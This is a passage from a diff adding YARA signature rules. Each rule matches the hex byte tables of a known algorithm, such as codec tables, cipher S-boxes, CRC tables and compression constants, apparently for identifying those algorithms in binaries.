1a50179009e01b400cc00220132001a00e80004018701ed0197003901bf01d70027018b00c6009c00d0014e006c003401f2006e00ca002500ba019100fe00130106002f01ad017201db00c0010b01d600f501ec010d0076011401ab0075010c01e401590054011f004b00c401be00f7002900a4000e01f00077004d017a0086008b00b3017100bf010e01040097015b0160016800d700bb006601ce00fc009201c5006f0016004a00a1013900af00f10190000a01aa0143017b0056018d016600d401fb014d0194019a008701f8012300a701b80141003c01f90140002a0155011a01a1019800d5012601af0061012e015701dc0072018a00aa0096011500ef0045007b008d01450053005f017800b2002e002001d5003f01c901e701ac00440038001400b1016b00ab00b5005a018201c801d400180177006400cf006d010001990130015a0005012001bb01bd00e0004f00d6013f01c4012a0015000600ff019b00a6004300880050015f01e801210073017e00bc00c200c90173018901f5007401cc01e601a80195001f0041000d01ba0032003d01d1008000a8005701b90162014800d901050062007a002101ff0112010801c000a9011d01b001a600cd00f3005c0102005b01d9014401f600ad00a5003a01cb0136017f004600e1001e01dd00e6013701fa0185008c008f004001b500be0078000000ac0110015e0124000201bc00a200ea007001fc0116015c004c01c2 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dpcm_sol_table_new__32_big_64_
+{
+strings:
+	$a0 = { 00000000000000010000000200000003000000060000000A0000000F0000001500000000FFFFFFFFFFFFFFFEFFFFFFFDFFFFFFFAFFFFFFF6FFFFFFF1FFFFFFEB }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_real_audio_288_syn_window__flt32___32_lil_444_
+{
+strings:
+	$a0 = { 05a2133fcdb1143f7ac3153f1fd7163fbbec173f6004193f001e1a3f003c1b3f005a1c3f007a1d3f009e1e3f00c41f3f00ea203f0014223f0040233f006c243f009c253f00ce263f0002283f003a293f00722a3f00ac2b3f00ea2c3f002a2e3f006c2f3f00b0303f00f6313f003e333f008a343f00d8353f0028373f007a383f00d0393f00263b3f00803c3f00dc3d3f003c3f3f009c403f0000423f0068433f00d0443f003c463f00aa473f001c493f008e4a3f00044c3f007e4d3f00fa4e3f0078503f00fa513f007e533f0004553f008e563f001a583f00aa593f003c5b3f00d05c3f00685e3f0004603f00a2613f0042633f00e6643f008e663f0038683f00e4693f00946b3f00486d3f00fe6e3f00b8703f0074723f0034743f00f8753f00be773f0088793f00567b3f00267d3f00ae7e3f00a27f3f00fe7f3f00c67f3f00fa7e3f00987d3f00a07b3f0018793f00fc753f0050723f00186e3f0054693f0008643f00385e3f00e4573f0012513f00c8493f0006423f00d4393f0034313f002c283f00c41e3f00fe143f00e00a3f0072003f0070eb3e0074d53e00fcbe3e0014a83e00c8903e0058723e0088423e0048123e0070c33d00a0433d }
+
+condition:
+	$a0
+}
+
+	
+rule ima_adpcm_step_table__16_big_178_
+{
+strings:
+	$a0 = { 000700080009000a000b000c000d000e001000110013001500170019001c001f002200250029002d00320037003c00420049005000580061006b00760082008f009d00ad00be00d100e600fd0117013301510173019801c101ee02200256029202d4031c036c03c30424048e05020583061006ab0756081208e009c30abd0bd00cff0e4c0fba114c130714ee170619541bdc1ea521b6251528ca2cdf315b364b3bb941b248444f7e5771602f69ce74627fff }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_AAN_ff_inv_aanscales__16_big_128_
+{
+strings:
+	$a0 = { 10000b890c3f0d9b1000145d1d9039fe0b89085108d409cf0b890eaf155129cf0c3f08d4095f0a6a0c3f0f9616a12c630d9b09cf0a6a0b920d9b11511924315110000b890c3f0d9b1000145d1d9039fe145d0eaf0f961151145d19eb25a149cf1d90155116a119241d9025a136a16b2839fe29cf2c63315139fe49cf6b28d231 }
+
+condition:
+	$a0
+}
+
+	
+rule celptb2__32_lil_320_
+{
+strings:
+	$a0 = { 500000000000000000000000000000003c000000000000000000000000000000280000000000000000000000000000001400000000000000000000000000000070010000150000000000000000000000a0010000150000000000000000000000d0010000150000000000000000000000f00100001500000000000000000000001c01000015000000000000000000000040010000150000000000000000000000640100001500000000000000000000007c010000150000000000000000000000c8000000150000000000000000000000e0000000150000000000000000000000f80000001500000000000000000000000801000015000000000000000000000074000000150000000000000000000000800000001500000000000000000000008c00000015000000000000000000000094000000150000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_dca_dca_default_coeffs__8_byt_100_
+{
+strings:
+	$a0 = { 0d0d00000000000000000040400000000000000000404000000000000000004040000000000000000040400000000000000006060019190000000000001919000d0d000000000606001919000d0d000000191900000d0d000000060600191900000d0d00 }
+
+condition:
+	$a0
+}
+
+	
+rule Lucifer__smith__s0__32_lil_64_
+{
+strings:
+	$a0 = { 0c0000000f000000070000000a0000000e0000000d0000000b000000000000000200000006000000030000000100000009000000040000000500000008000000 }
+
+condition:
+	$a0
+}
+
+	
+rule EC_curve__EC_SECG_CHAR2_131R1_SEED__8_byt_20_
+{
+strings:
+	$a0 = { 4d696e676875615175985bd3adbada21b43a97e2 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_pan_pow_2_pos__flt32___32_lil_160_
+{
+strings:
+	$a0 = { 0000803f0000803f0000803f0000803f0000803fc49d8f3fc49d8f3fa824a13fa824a13fa824a13fa824a13fa824a13f4cdeca3f639fe33f639fe33f60ceb43f4cdeca3fbb65ff3f6c6134400d644a404cdeca3fbc65ff3f6c61344081f18e4088f1b340639fe33f91c3204081f18e40c72dfe4018853341bb65ff3f381663405b89e240d800624175f3c84191c32040d85fa0401885334175f3c841c9f06042 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_mnt_table__flt32___32_lil_512_
+{
+strings:
+	$a0 = { 0000743f0000723f0000703f00006e3f00006d3f00006b3f0000693f0000673f0000663f0000643f0000623f0000613f00005f3f00005e3f00005c3f00005a3f0000593f0000573f0000563f0000543f0000533f0000523f0000503f00004f3f00004d3f00004c3f00004b3f0000493f0000483f0000473f0000463f0000443f0000433f0000423f0000413f0000403f00003e3f00003d3f00003c3f00003b3f00003a3f0000393f0000383f0000373f0000363f0000353f0000333f0000323f0000313f0000303f00002f3f00002e3f00002e3f00002d3f00002c3f00002b3f00002a3f0000293f0000283f0000273f0000263f0000253f0000243f0000243f0000233f0000223f0000213f0000203f00001f3f00001f3f00001e3f00001d3f00001c3f00001b3f00001b3f00001a3f0000193f0000183f0000183f0000173f0000163f0000153f0000153f0000143f0000133f0000133f0000123f0000113f0000113f0000103f00000f3f00000f3f00000e3f00000d3f00000d3f00000c3f00000b3f00000b3f00000a3f00000a3f0000093f0000083f0000083f0000073f0000073f0000063f0000053f0000053f0000043f0000043f0000033f0000033f0000023f0000023f0000013f0000013f0000003f0000ff3e0000fe3e0000fd3e0000fc3e0000fb3e0000fa3e0000f93e0000f83e0000f73e0000f63e0000f53e }
+
+condition:
+	$a0
+}
+
+	
+rule Dolby_window_dolby_win_32__flt64___64_lil_256_
+{
+strings:
+	$a0 = { b86f9be528f6163fa35827c6a88b4e3f00e61c13ec4e6a3f0e669d614097803f0398501cf688913f3790eb3cc06ba03feedbf4ddc712ac3f2804178d8e4eb63ffd4dde606badc03f274b373aa8aac73fab4a0f08190ad03f447401bf9dded43f07104bcbef2bda3f3ced146181bddf3f8e2b32df29abe23f2291657dd55be53ff4cb5bbf22d4e73f6a46386874fde93f1deb256592c9eb3fe1719d83bb33ed3fac4340e03840ee3fbe89128790faee3f7d8dd247c172ef3f407485142bbaef3f29b0bf4ad7e0ef3f2b47202cadf3ef3fa5e36d23c9fbef3f2d644480ccfeef3f39b45b2fbbffef3fd2097d2ff5ffef3fe30cbe16ffffef3f46c4f0fdffffef3f }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_DV_dv_weight_88__32_big_256_
+{
+strings:
+	$a0 = { 000200000003ec530003ec530003b20d0003d9070003b20d0003999300039fe000039fe00003999300038000000387de00036a0a000387de00038000000366d700036ec90003536d0003536d00036ec9000366d700030fbc0003561c00033bcc00033d6500033bcc0003561c00030fbc0002e243000300ad0003248d00032661000326610003248d000300ad0002e2430002d4140002d41400030fbc0003100000030fbc0002d4140002d4140002aa110002c1580002f9fc0002f9fc0002c1580002aa110002986b0002adc50002e4970002adc50002986b000285fb00029a8300029a83000285fb000273d7000257d8000273d70002350b0002350b00021442 }
+
+condition:
+	$a0
+}
+
+	
+rule LD_CELP_G_728_shzscale_and_shpscale__flt64___64_big_176_
+{
+strings:
+	$a0 = { 3ff00000000000003fe4cd00000000003fdb0a00000000003fd19300000000003fc6da00000000003fbdb400000000003fb35000000000003fa91800000000003fa05000000000003f953000000000003f8ba000000000003ff00000000000003fe80000000000003fe20000000000003fdb0000000000003fd44000000000003fce6000000000003fc6c800000000003fc11600000000003fb9a000000000003fb33800000000003facd80000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule GSM_toast_alaw_a2s__16_big_512_
+{
+strings:
+	$a0 = { 1400eb000140feb05000ac000500fac00a00f5800040ffb02800d6000280fd601c00e30001c0fe3070008c000700f8c00e00f18000c0ff303800c6000380fc601000ef000100fef04000bc000400fbc00800f7800000fff02000de000200fde01800e7000180fe7060009c000600f9c00c00f3800080ff703000ce000300fce01600e9000160fe905800a4000580fa400b00f4800060ff902c00d20002c0fd201e00e10001e0fe10780084000780f8400f00f08000e0ff103c00c20003c0fc201200ed000120fed04800b4000480fb400900f6800020ffd02400da000240fda01a00e50001a0fe50680094000680f9400d00f28000a0ff503400ca000340fca01500ea000150fea05400a8000540fa800a80f5000050ffa02a00d40002a0fd401d00e20001d0fe20740088000740f8800e80f10000d0ff203a00c40003a0fc401100ee000110fee04400b8000440fb800880f7000010ffe02200dc000220fdc01900e6000190fe60640098000640f9800c80f3000090ff603200cc000320fcc01700e8000170fe805c00a00005c0fa000b80f4000070ff802e00d00002e0fd001f00e00001f0fe007c00800007c0f8000f80f00000f0ff003e00c00003e0fc001300ec000130fec04c00b00004c0fb000980f6000030ffc02600d8000260fd801b00e40001b0fe406c00900006c0f9000d80f20000b0ff403600c8000360fc80 }
+
+condition:
+	$a0
+}
+
+	
+rule TNS_filter_tnsMaxBands__combined___32_lil_256_
+{
+strings:
+	$a0 = { 1f000000090000001c000000070000001f000000090000001c00000007000000220000000a0000001b00000007000000280000000e0000001a000000060000002a0000000e0000001a00000006000000330000000e0000001a000000060000002e0000000e0000001d000000070000002e0000000e0000001d000000070000002a0000000e00000017000000080000002a0000000e00000017000000080000002a0000000e0000001700000008000000270000000e000000130000000700000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 }
+
+condition:
+	$a0
+}
+
+	
+rule swscale_rgb2yuv_table__flt64___64_lil_576_
+{
+strings:
+	$a0 = { a52c431cebe2e63f5d6dc5feb27bb23fbc96900f7a36cb3f4e62105839b4d8bf000000000000e03f713d0ad7a370bdbf75931804560eddbf5a643bdf4f8da7bf000000000000e03fa52c431cebe2e63f5d6dc5feb27bb23fbc96900f7a36cb3f4e62105839b4d8bf000000000000e03f713d0ad7a370bdbf75931804560eddbf5a643bdf4f8da7bf000000000000e03f62105839b4c8e23fc976be9f1a2fbd3f894160e5d022d33fc976be9f1a2fd5bf000000000000e03f6f1283c0caa1c5bf37894160e5d0dabf23dbf97e6abcb4bf000000000000e03f62105839b4c8e23fc976be9f1a2fbd3f894160e5d022d33fc976be9f1a2fd5bf000000000000e03f6f1283c0caa1c5bf37894160e5d0dabf23dbf97e6abcb4bf000000000000e03fe17a14ae47e1e23f295c8fc2f528bc3f333333333333d33fc976be9f1a2fd5bf000000000000e03f6f1283c0caa1c5bf8b6ce7fba9f1dabfd34d62105839b4bf000000000000e03f62105839b4c8e23fc976be9f1a2fbd3f894160e5d022d33fc976be9f1a2fd5bf000000000000e03f6f1283c0caa1c5bf37894160e5d0dabf23dbf97e6abcb4bf000000000000e03f62105839b4c8e23fc976be9f1a2fbd3f894160e5d022d33fc976be9f1a2fd5bf000000000000e03f6f1283c0caa1c5bf37894160e5d0dabf23dbf97e6abcb4bf000000000000e03f3bdf4f8d976ee63f1283c0caa145b63f894160e5d022cb3ffa7e6abc7493d8bf000000000000e03f1904560e2db2bdbf7b14ae47e17adcbf295c8fc2f528acbf000000000000e03f }
+
+condition:
+	$a0
+}
+
+	
+rule CAST128_sbox6__32_big_1024_
+{
+strings:
+	$a0 = { f6fa8f9d2cac6ce14ca34867e2337f7c95db08e7016843b4eced5cbc325553acbf9f0960dfa1e2ed83f0579d63ed86b91ab6a6b8de5ebe39f38ff7328989b13833f14961c01937bdf506c6dae4625e7ea308ea994e23e33c79cbd7cc48a14367a3149619fec94bd5a114174aeaa01866a084db2d09a8486fa888614a2900af9801665991e1992863c8f30c602e78ef3cd0d51932cf0fec14f7ca07d2d0a82072fd41197e9305a6b0e86be3da74bed3cd372da53c4c7f4448dab5d4406dba0ec3083919a79fbaeed949dbcfb04e670c535c3d9c0164bdb9412c0e636aba7dd9cdea6f7388e70bc76235f29adb5c4cdd8df0d48d8cb88153e208a198661ae2eac8284caf89aa9282239334be533b3a21bf16434be39aea3906efe8c36ef890cdd980226daec340a4a3df7e9c09a694a8075b7c5ecc221db3a69a69a02f68818a54ceb2296f53c0843afe89365525bfe68ab4628abccf222ebf25ac6f48a9a9938753bddb65e76ffbe7e967fd780ba935638e342bc1e8a11be94980740dc8087dfc8de4bf99a11101a07fd37975da5a26c0e81f994f9528cd89fd339fedb87834bf5f04456d22258698c9c4c83b2dc156be4f628daa57f55ec5e2220abed2916ebf4ec75b9524f2c3c042d15d99cd0d7fa07b6e27ffa8dc8af07345c106f41e232f35162386e6ea89263333b094157ec6f2372b74af692573e4e9a9d848f31602893a62ef1da787e238f3a5f67674364853209510634576698db6fad407592af95036f735234cfb6e877da4cec06c152daacb0396a8c50dfe5dfcd707ab0921c42f89dff0bb5fe2be78448f4f33754613c92b05d08d48b9d585dc049441c8098f9b7dede786c39a3373424100056a0917510ef3c8a6890072d628207682a9a9f7bebf32679dd45b5b75b353fd00cbb0e358830f220a1f8fb214d372cf08cc3c4a138cf63166061c87be88c98f886062e39747cf8e7ab6c852833cc2acfb3fc069764e8f025264d8314dda3870e31e665459c10908f0513021a56c5b68b7822f8aa03007cd3e74719eefdc872681073340d47e432fd90c5ec2418809286cf592d89108a930f6957ef305b7fbffbdc266e96f6fe4ac98b173ecc0bc60b42a953498dafba1ae122d4bd7360f25faaba4f3fcebe2969123257f0c3d9348af49361400bce8816f4a3814f200a3f940439c7a54c2bc704f57da41e7f9c25ad33a54f4a084b17f550559357cbeedbd15c87f97c5abba5ac7b5b6f6deaf3a479c3a5302da25653d7e6a54268d4951a477ea5017d55bd7d25d8844136c760404a8c8b8e5a121b81a928a60ed586997c55b96eaec991b2993591301fdb7f1088e8dfa9ab6f6f53b4cbf9f4a5de3abe6051d35a0e1d855d36b4cf1f544edebb0e93524bebb8fbda2d762cf49c92f5438b5f3317128a45448392905a65b1db8851c97bdd675cf2f }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_COOK_envelope_quant_index_huffcodes__16_lil_624_
+{
+strings:
+	$a0 = { 06003e001c001d000700080009000a000b000c000000010002000d001e007e00fe00fe01fc07fd07fc0ffd0ffe0fff0ffe03fe003e001c001d000c000000010002000300040005000d001e007e00fe01fe07fe0ffe1ffc7ffd7ffe7ffefffffffe0ffe03fe003e001c0006000700080009000a000b000000010002000c000d001d001e007e00fe01fe07fe1ffe3fff3ffc1ffe03fc01fd017c007d001c001d000a00000001000200030004000b000c000d001e007e00fe01fe07fd1ffe1fff1ffe0ffe1ffe03fe003c003d001a001b000a000b00000001000200030004000c001c001d003e007e00fe01fe07fe3fff3ffe0ffe07fe01fc00fd007c001c000a000b00000001000200030004000c000d001d001e007d00fe00fe03fe1ffe3fff3ffc7ffcfffd7ffe0ffe03fe003e001c000c00020003000400000005000d001d001e007e00fe01fe07fe1ffdfffefffffffc3ffd3ffe07fe03fc017c007d001c001d000c00020003000000040005000d001e007e00fd01fe01fe0ffe3ffe7fff7ffc01fd01fe01fc007c003c001c000c000000010002000300040005000d001d003d007d00fd00fe03fe07fe0ffe1fff1ffc3ffe0ffe03fc003c003d001c000c000000010002000300040005000d001d003e00fd00fe00fe01fe07fd3ffe3fff3ffe1ffe03fc01fc003c003d001c000a000b000c0002000300000004000d001d003e00fd00fd01fe01fe07fe0ffe3fff3ffcfffe1ffe0ffe07fe013e001c001d000a000b000c0002000000030004000d001e007e00fe00fe03fe3ffdfffefffffffc1ffa3ffb3ffc3ffe03fe007c007d001c000c00020003000000040005000d001d001e007e00fe01fe07fd3ffe3fff3f }
+
+condition:
+	$a0
+}
+
+	
+rule libmng_interlace_const__32_lil_AND_
+{
+strings:
+	$a0 = { 00000000[0-20]00000000[0-20]04000000[0-20]00000000[0-20]02000000[0-20]00000000[0-20]01000000[0-20]08000000[0-20]08000000[0-20]08000000[0-20]04000000[0-20]04000000[0-20]02000000[0-20]02000000[0-20]00000000[0-20]04000000[0-20]00000000[0-20]02000000[0-20]00000000[0-20]01000000[0-20]00000000[0-20]08000000[0-20]08000000[0-20]04000000[0-20]04000000[0-20]02000000[0-20]02000000[0-20]01000000[0-20]07000000[0-20]07000000[0-20]03000000[0-20]03000000[0-20]01000000[0-20]01000000[0-20]00000000[0-20]03000000[0-20]03000000[0-20]02000000[0-20]02000000[0-20]01000000[0-20]01000000[0-20]00000000 }
+
+condition:
+	$a0
+}
+
+	
+rule Square___Sharkbox_crypto_algorithm_S_decoding__8_byt_256_
+{
+strings:
+	$a0 = { 35be072e5369db286fb7766b0c7d368b92bca932ac389c4263c81e4f24e5f7c9618d2f3fb3657f70af9aeaf55b9890b1877172ed374568a3e3ef5cc550c1d6ca5a625f26095d1441e89dce40fd08174a0fc7b43e12fc254b812c0478cbbb20bdf92999a8d360df1197897efae09b1fd267e26477842b9e8af16d88797457dde6397bee83e158f20d34f830e9b9235415440b4d663a03a29194524cc382e780c0b60ec26c93ecab4395f6d84686058cb07500cc85d73d737a48e4d159adb8c6d0dca1aa021dbfb59f51c4a51022cf01ba8f317cae96daf05647d4eb4ed9138e495516ff3bf4a4b206a0a7fb1b6e3c33cd185e6ad5a621defe2a1cf30a1a19272d }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_codebook__flt64___64_big_64_
+{
+strings:
+	$a0 = { 3fe2443b2dd377e23fe64aada33bd9cb3fea0420f6f08cc53fed29670196d8f53fef844d013a92a33ff1161804d983943ff31d15f02c4d663ff5e99b6f5caf2d }
+
+condition:
+	$a0
+}
+
+	
+rule Gost_original_sBox__8_byt_128_
+{
+strings:
+	$a0 = { 0d020804060f0b010a09030e05000c07040b020e0f00080d030c0907050a06010c010a0f09020608000d03040e07050b020c0401070a0b060805030f0d000e09070d0e030006090a010208050b0c040f0a00090e06030f05010d0c070b0402080f01080e060b03040907020d0c00050a0e040d01020f0b08030a060c05090007 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_G729_cb_lsp_1st__16_big_2560_
+{
+strings:
+	$a0 = { 05ce08780ea723722f663678463f4ae552c6553c06c20a500d7a130617ee1ec43d1c45994f46558e062008d00c10130a2b37345147834b5d527554ed06c509d00d1d12641b412838428046244ac94f7e06d009840cec221b28c02ee73cfe40ff536f559906fa09410d2c11a91a8b32a3450a4a2c51775488065f09810d2118b829d52eed33dd36504bf1526005d1093c0cdb186a240b28a336133bae453953cb074d09e50d93110d23c038b13e24427e508353a308160bd110ed16de1e7d240f29653eaf4e8d554a07760a710d5b10a52ba03b0740c144b74b6e4f29047507170a40120f195f25743690402c4b97532608900c63126316b02a9830d437523d305284551d0506077309f40d7d25662ebc3e6a43c04ceb57df07810aa011fc1a1c2cef32c0380e3b9e4265513708040ac70f39147e19ee281b3dda41ae46e554ab070609c115f12cb933853977429a47134f5352be03f1066f0b49164d254530423b7f483e51e656110bc80ed2151e1d2d30c836a03be03fce4df05137089b0be00ed415422ed334c83a533ff245c049730b6010c41f3425642d2a33bc38dc40914e2452510b2d0e1717231b7a24122f1635a146884f2651ee0bfd10d7174f1cc72cda319b37e53f69479d4ae409820e4d130216a6288f2dca32f93d3449ae4d7707e40a2d0f14241933db39343e8a42cb4b444f1b07550af90e0612632b3030993d06431049494dc3083b0b390e5916a7350b395f3e4242b549ca4d77064c08ec0b800df4201b36873e34435748a04e9509740c54198e27e72f1d34de3bc94044491d4da806830a340dce147529112db0328c419e468a4bb209540bc912e724752c9531ba3ab03f78442948f507530ae2108718b021f627a52e09427548b04df802a70583122e1f462cb633c13d9346cf4f89543f072e0a240dfa120016122c0a38133e0e506354fa051707a3095b0cfa2ef735c43e0b469d4ed452f0059e08360a670d862088287a35c343604d145748035c077017d21e5f26572ee739e541454d4b528c06890aa30e7817ed1df424e73573386b503a54e304de07390b56119c1c3531a639f33fba4b8758c005f508d40f16161b1cae2de4343a386a467c535604ac07360c201b972adc326939de428d4dd2586c08630c22117b196f202326252ae82f814a1b5334063109650bb20fc42cd9337938b73c474dff531b06f20a800e1e124824f92b3830b93fc04d1e514007460a1a0da41a3f2dbc32d4381c3f004c9a4fc90573086c0a6d0d3a296f2f5d352e41414a20537705a408450cd6185924cf32b53a963ded4324556107d40b4f0ec7132118181c813141403d4b6153d905d70b2f18d81fa42c8737bf3e1e452f4fff562d09b40c2a16561bb920d0314836f939ff5037539409780ccd14b0188c2c1a32673e9644644b854f3b0a050ec214f01b4d224e28bc38363d7e456a54e60aa70d3819d52426292e2fcc393b3d474e6a526e077c0b8918821f9825ee2aad306840324e2a52bf0d38110e14e51df32bac313d36613bdc4dbd51120c0310bb173f1dc325842b02306036b650b253f906d70997141b26ee2d65337839934056513454fc05a2088c0d021a9d22e12f67388c3bca4cb3504008f60b4f0fe61f632fc9346839aa43d74a084ce807910a6311fa1a29236f323f37753b7e3eaf49bd08170a67107824e52a873004367d3a3d4b244f7506cc09bb0da01fca25b82b913396396051a0559308970b411243214f27432c9038633c674326507507970bac105117971d36215837653cbf44d6544b07210c671b96265a32183c5a479a4d905546578c09a00be612d617591e103c26415a44ee506c534809f60d4114b91b0827fb370346df4afb50c953580bbb0ed714c919251eef2d7b3dc241ce46c74a240d7f103d1ab620072695301a3e2141ba4ded519c0bec0eb9131b16b21b41278e39c43e764d3d51a80e57110416c31b55210c2f34374a3a5b4b2f4fc70a9c0e64147e1a1e210f2711306a37333f164d4007990a4e10221f3b38023cd842a1471e4f01520509000b70101a12d8160833533dd1422a4e8c523e070809d40d161463345e3e4c44d2486c50335304059c08b00ac111c225b92bed3b493fbd44514abf090f0b5313741b1820d434b13cc23f994f2e51af088b0b67120216f31cde310c36d1419a5206550908bb0b6b140118731fa335153bec3fd446074ebf06e50a4e0ea716621ecb277c35413c3b41a8488e0d84166d257c2dde384d3ed046fd4a92516d54610e97114a18371cc3242238993ea342824da1518c0dc112aa1ae721e831ad37f23e4e46824ec65299085d0b981ad11f73271a336739dd3df5447848df103417f023442a77318e36b53e6843384c835073113314f719ea20b327b32d4f3a733fcb463e49500ffb150a1ac422422d2b33ea3d7042224a704e860aba0e2914b31d5028162ca833743c8241eb446a08c80de4215b295e31793968408345a04f2c52ff04ff07a80f501e7127a939a1410646db50c753da09880d931a5121ce2f9e38fc42df46054aa64e0b075709d211911d9427213a643f0d420147dd4bb00af40e681d4227662bd231a73fb3443e4e6d528607e70a7a0f21204c280f2d7d3b5342ce4a154d4c0b070e1516b7219327652ccd40b8443649424da40b230e6114a01de023d528623a713f144497482a05440a5516c22251297c321f3f7f478f528d583a085d0bdc10c517c21da929854306467153da5644064809470d381ade26f22bdb422044f24ed952800ad60e201396199d1e6c22ff42ac477e4c51503e078e12cd183c1c2c23132d913e7545934fca54c708f00db313ad1ab9205625a63ada4061549556c60b870ebb130e1d9a2338283a389a3b8a4eff51fe0cb812b719c91d6121c425eb34563ece4a9e4f1907230a360d9e17972f7535ff3f3f438253af561903e806a80bba18bf211729043a1e42534e3a579b066e08ee0c251c4d2ce531f741b845034a254efe06ac09c50cf31a51221926c43ed942c947c64dcd0a3f0db6117e160d26862b6b3b7346934c7f4f9e09d60d6a127818f41f922445336a47cf4d6b504806be094f0ffa189f1e7d322d391444c84b454ed50b2c0e9712e6179c1c5620d236cf3ffd46754bd2109717691f1026403036393d44774956515f54c30dae0fd316301a951fd22ea9410944244fa6543c0c4f131d170b1c1e2c9a33113b144509502855650f7812f017261c5b226b29213d2d40b047144ed7119319cc1f6424232a3431533e0844684e345236109b15a519fe207e26ac2da63afc42c5505c54b70eb914cf1eb9249029bc2e2a355c3c06492d4daa0c0b0f8118681fb926462af23069357645e04aa10aab123e1b9723f12c5235a741eb496d5133575804a308b312811c2e259631593c2c46304f265bed077709ad0f4b27722d60329b3f5f42f24b4650f906e409d70f2f1b2023be312e3f8242584604480305780e5a1bdb220e29c030dc3d5c452f4d08524c09120c0110bf1fac24bf29843df641354d0253e20a460d0b129620a828222c45325043de4b154de006b90a1115b11c1b21cb29be3add4239490f4dd9 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_15_CAN_poly_0x4cd1__16_big_refl_False_
+{
+strings:
+	$a0 = { 00004cd199a2d5737f953344e637aae6ff2ab3fb66882a5980bfcc6e191d55ccb285fe542b2767f6cd1081c154b218634daf017ed40d98dc323a7eebab98e74929db650ab079fca8564e1a9fcfec833dd6f19a204f530382a964e5b530c67c179b5ed78f02fc4e2de4cba81a7d6931b8647428a5fdd6b1071be157308243ce9253b61f67ca1486c52c2360f2b581f950ac9ce04d353e79efd3099fd84aab067ae133ade2789134409ea6d27707044bd51e1952c887bbcb6a618c2d5df82eb4ff7a6d36bce3cfaf1e05f849299c5ad08b8547c9961ce55034fad2b60363702fa1c8e88439514a1d9bb77dfbac2edf620e37c27b13ae60e2b148570486d1f59d24a76cebbd3ece721fd8f99428415b0d8a58461497c1e48d3527d36b02be71f2a015e959388c4bc09a6a7c26adf3debf0feac3a61273613fb09556d9870cf440258eb7c26617155bc4f122bdf368802451719d3d4ce83fa4ee0e0842d997aadb7b3c3270e3a590e94143a70f76da0596d4c3188fc95aba166bbc8df05c252f69fef4dab80b6d7821a98b4fc79e12ed5e3c0bf047219252de83746538b4edc7a116465f0a8edffd932c39ca751ba068ecb9b975f5a420d76c06c6e08a315f421393dd0191d044a30872a294ee453b3677e7222b6efabb89f7585dbe116fc41c88cd6f842355f626baf710115cc089b3c56290aedc7f090c45ddef3ba3ea76993a48 }
+
+condition:
+	$a0
+}
+
+	
+rule LZSS__N_4096__F_18__T_2___32_big_AND_
+{
+strings:
+	$a0 = { 00000fee[0-20]000000f0[0-20]00000fff[0-20]00000fff }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_imc_weights2__flt64___64_big_248_
+{
+strings:
+	$a0 = { 3f6a7f92dd3cdc7f3f6ca9a428bebb113f7051a9c0d9239d3f603acb2d0f82aa3f5314e56a5284313f5d5fac8de80a963f56ffa0df89120d3f55d5eaadb357053f58a96467de8b913f5ff593c066b7f03f66bb0274fa52ed3f70fcb4f1e4b44a3f79b68a6b286d073f832d7025ace2cd3f918d11cbda5e863f96f163850a965c3f9d14211f3478ae3fa514170e397ea73fa839de481f53823fab38319fb53c8d3fb110b8b4e7d3b93fb48047b8fc35703fb549e5265fe61a3fb60d405a6322e53fb95302dc53528d3fbcb8f14db595793fbd7f84449dbec23fbe9ef5232d2bb23fc16e264e48626f3fc3c504816f00693fc4d2dcb1465e89 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_16_IBM_poly_0xa001__16_lil_refl_False_
+{
+strings:
+	$a0 = { 000001a003e00240076006c0048005200ec00f600d200c8009a008000a400be01d201c801ec01f601a401be019a0180013e01240100011a014801520176016c03a403be039a038003d203c803ec03f6034803520376036c033e03240300031a0276026c024802520200021a023e0224029a028002a402be02ec02f602d202c8074807520776076c073e07240700071a07a407be079a078007d207c807ec07f6069a068006a406be06ec06f606d206c80676066c064806520600061a063e062404ec04f604d204c8049a048004a404be0400041a043e04240476046c04480452053e05240500051a054805520576056c05d205c805ec05f605a405be059a05800e9a0e800ea40ebe0eec0ef60ed20ec80e760e6c0e480e520e000e1a0e3e0e240f480f520f760f6c0f3e0f240f000f1a0fa40fbe0f9a0f800fd20fc80fec0ff60d3e0d240d000d1a0d480d520d760d6c0dd20dc80dec0df60da40dbe0d9a0d800cec0cf60cd20cc80c9a0c800ca40cbe0c000c1a0c3e0c240c760c6c0c480c5209d209c809ec09f609a409be099a0980093e09240900091a094809520976096c0800081a083e08240876086c0848085208ec08f608d208c8089a088008a408be0a760a6c0a480a520a000a1a0a3e0a240a9a0a800aa40abe0aec0af60ad20ac80ba40bbe0b9a0b800bd20bc80bec0bf60b480b520b760b6c0b3e0b240b000b1a0 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_32_IEEE_802_3_poly_0xEDB88320__32_big_refl_True_
+{
+strings:
+	$a0 = { 000000000623369705c4564103e760d6020a97ed0429a17a07cec1ac01edf73b04152fda0236194d01d1799b07f24f0c061fb837003c8ea003dbee7605f8d8e101a864db078b524c046c329a024f040d03a2f3360581c5a10666a577004593e005bd4b01039e7d9600791d40065a2bd707b7dcec0194ea7b02738aad0450bc3a0350c9b60573ff2106949ff700b7a960015a5e5b077968cc049e081a02bd3e8d0745e66c0166d0fb0281b02d04a286ba054f7181036c4716008b27c006a8115702f8ad6d04db9bfa073cfb2c011fcdbb00f23a8006d10c1705366cc103155a5606ed82b700ceb4200329d4f6050ae26104e7155a02c423cd0123431b0700758c06a1936c0082a5fb0365c52d0546f3ba04ab048102883216016f52c0074c645702b4bcb604978a210770eaf70153dc6000be2b5b069d1dcc057a7d1a03594b8d0709f7b7012ac12002cda1f604ee97610503605a032056cd00c7361b06e4008c031cd86d053feefa06d88e2c00fbb8bb01164f800735791704d219c102f12f5605f15ada03d26c4d00350c9b06163a0c07fbcd3701d8fba0023f9b76041cade101e4750007c7439704202341020315d603eee2ed05cdd47a062ab4ac0009823b04593e01027a0896019d684007be5ed70653a9ec00709f7b0397ffad05b4c93